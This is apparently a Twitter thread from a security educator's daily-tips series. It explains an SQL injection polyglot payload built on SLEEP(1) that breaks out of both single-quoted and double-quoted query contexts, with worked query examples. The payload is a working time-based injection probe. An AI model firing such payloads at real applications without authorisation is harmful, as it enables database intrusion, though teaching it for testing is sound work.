Thread by @sec_r0

#Learn365 - Day 1⃣ 7⃣

Since we are talking about Polyglots, today I have SQLi Polyglot for you.
A context insensitive sqli payload polyglot, a thread. 🧵👇

#infosec #appsec #bugbountytips #security

When it comes to SQLi, the SQli polygot is the payload that runs in context of ' (single quote) and " (double quote).

E.g
SLEEP(1) /*' or SLEEP(1) or'" or SLEEP(1) or "*/

Will execute in both the contexts.
How ?

Let's see next.

MYSQL_QUERY = "SELECT * FROM users WHERE username = '<input>'" ;

Would turn into

MYSQL_QUERY = "SELECT * FROM users WHERE username = 'SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/" '";

Carefully observe, the Payload is happy.

Lets turn the payload around.

MYSQL_QUERY = 'SELECT * FROM users WHERE username = "<input>"' ;

And add the polyglot.

MYSQL_QUERY = 'SELECT * FROM users WHERE username = "SLEEP(1) /*' or SLEEP(1) or'" or SLEEP(1) or "*/
"' ;

Payload is happy again.

So the same SQLI payload worked under both the contexts of ' and ".
So no matter what backend is using, you have a benefit.

If you like the thread, consider retweeting it out :)
Also I am running #Learn365 to share security bits, if you want to stay updated, consider following @sec_r0

I soon may be landing a zine on Polyglots on SecurityZines, so stay tuned at getrevue.co/profile/securi…